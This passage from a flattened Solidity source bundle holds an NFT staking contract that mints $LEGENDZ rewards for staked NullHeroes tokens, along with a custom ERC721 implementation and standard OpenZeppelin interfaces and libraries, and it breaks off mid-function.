proxy's authorization * @param proxyAddress address of the proxy * @param authorized the new authorization value */ function setProxy(address proxyAddress, bool authorized) public onlyOwner { if (proxyAddress == owner()) revert OwnerAuthorizationLocked(); proxies[proxyAddress] = authorized; } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./LEGENDZ.sol"; import "./NullHeroes.sol"; error CannotSendDirectly(); error ZeroAddress(); error NotOwnedToken(); error TooEarlyToClaim(); abstract contract HeroStakes is Ownable, IERC721Receiver, Pausable { // Stake struct struct Stake { address owner; uint256 lastClaim; } // max per transaction uint8 public immutable maxTokensPerTx; // stakes Stake[40000] public stakes; // $LEGENDZ contract LEGENDZ internal legendz; // NullHeroes contract NullHeroes internal nullHeroes; // lock-up period uint256 public minDaysToClaim; constructor(address _legendz, address _nullHeroes, uint8 _maxTokensPerTx) { legendz = LEGENDZ(_legendz); nullHeroes = NullHeroes(_nullHeroes); maxTokensPerTx = _maxTokensPerTx + 1; } /** * stakes some heroes * @param _tokenIds an array of tokenIds to stake */ function stakeHeroes(uint256[] calldata _tokenIds) external virtual whenNotPaused { if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx(); nullHeroes.batchTransferFrom(_msgSender(), address(this), _tokenIds); for (uint i; i < _tokenIds.length; i++) { Stake storage stake = stakes[_tokenIds[i]]; stake.owner = _msgSender(); stake.lastClaim = block.timestamp; } } /** * claims the reward of some heroes * @param _tokenIds an array of tokenIds to claim reward from */ function claimReward(uint256[] calldata _tokenIds) external virtual whenNotPaused { if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx(); uint256 reward; for (uint i; i < _tokenIds.length; i++) { Stake storage stake = stakes[_tokenIds[i]]; if (stake.owner != _msgSender()) revert NotOwnedToken(); if ((block.timestamp - stake.lastClaim) < minDaysToClaim) revert TooEarlyToClaim(); // resolves reward reward += _resolveReward(_tokenIds[i]); // reset last claim stake.lastClaim = block.timestamp; } if (reward > 0) legendz.mint(_msgSender(), reward); } /** * claims some heroes reward and unstake * @param _tokenIds an array of tokenIds to claim reward from */ function unstakeHeroes(uint256[] calldata _tokenIds) external virtual { if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx(); uint256 reward; for (uint i; i < _tokenIds.length; i++) { Stake storage stake = stakes[_tokenIds[i]]; if (stake.owner != _msgSender()) revert NotOwnedToken(); if ((block.timestamp - stake.lastClaim) < minDaysToClaim) revert TooEarlyToClaim(); // resolves reward if not paused if (!paused()) reward += _resolveReward(_tokenIds[i]); delete stakes[_tokenIds[i]]; } if (reward > 0) legendz.mint(_msgSender(), reward); nullHeroes.batchTransferFrom(address(this), _msgSender(), _tokenIds); } /** * resolves a staked hero's total reward * @param _tokenId the hero's tokenId * return the total reward in $LEGENDZ */ function _resolveReward(uint256 _tokenId) internal virtual returns (uint256); /** * estimates a staked hero's total reward * @param _tokenId the hero's tokenId * return the estimated total reward in $LEGENDZ */ function estimateReward(uint256 _tokenId) public view virtual returns (uint256); /** * estimates an unknown hero's approximative daily reward * @return the estimated reward */ function estimateDailyReward() public view virtual returns (uint256); /** * estimates a hero's daily reward * @return the reward */ function estimateDailyReward(uint256 _tokenId) public view virtual returns (uint256); /** * calculates a base reward out of the last claim timestamp and a daily rate * @param _dailyReward the legendz rate per day * @param _lastClaim the amount of days of farming * @return the total reward in $LEGENDZ */ function _calculateBaseReward(uint256 _lastClaim, uint256 _dailyReward) internal view returns (uint256) { return (block.timestamp - _lastClaim) * _dailyReward / 1 days; } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = _balanceOf(_owner); if (tokenCount == 0) return new uint256[](0); uint256[] memory tokenIds = new uint256[](tokenCount); uint256 index; for (uint i; i < stakes.length; i++) { if (stakes[i].owner == _owner){ tokenIds[index++] = i; if (index == tokenCount) return tokenIds; } } revert("HeroStakes: missing tokens"); } /** * counts the number of tokens staked by an owner * @param _owner the owner * return the token count */ function _balanceOf(address _owner) internal view returns (uint) { if(_owner == address(0)) revert ZeroAddress(); uint count; for (uint i; i < stakes.length; ++i) { if( _owner == stakes[i].owner ) ++count; } return count; } /** * enables owner to pause / unpause staking * @param _paused the new contract paused state */ function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } function onERC721Received( address, address from, uint256, bytes calldata ) external pure override returns (bytes4) { if(from != address(0x0)) revert CannotSendDirectly(); return IERC721Receiver.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "./ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for (uint i; i < _owners.length; i++) { if (owner == _owners[i]) { if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Address.sol"; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; for (uint i; i < _owners.length; ++i) { if( owner == _owners[i] ) ++count; } return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = 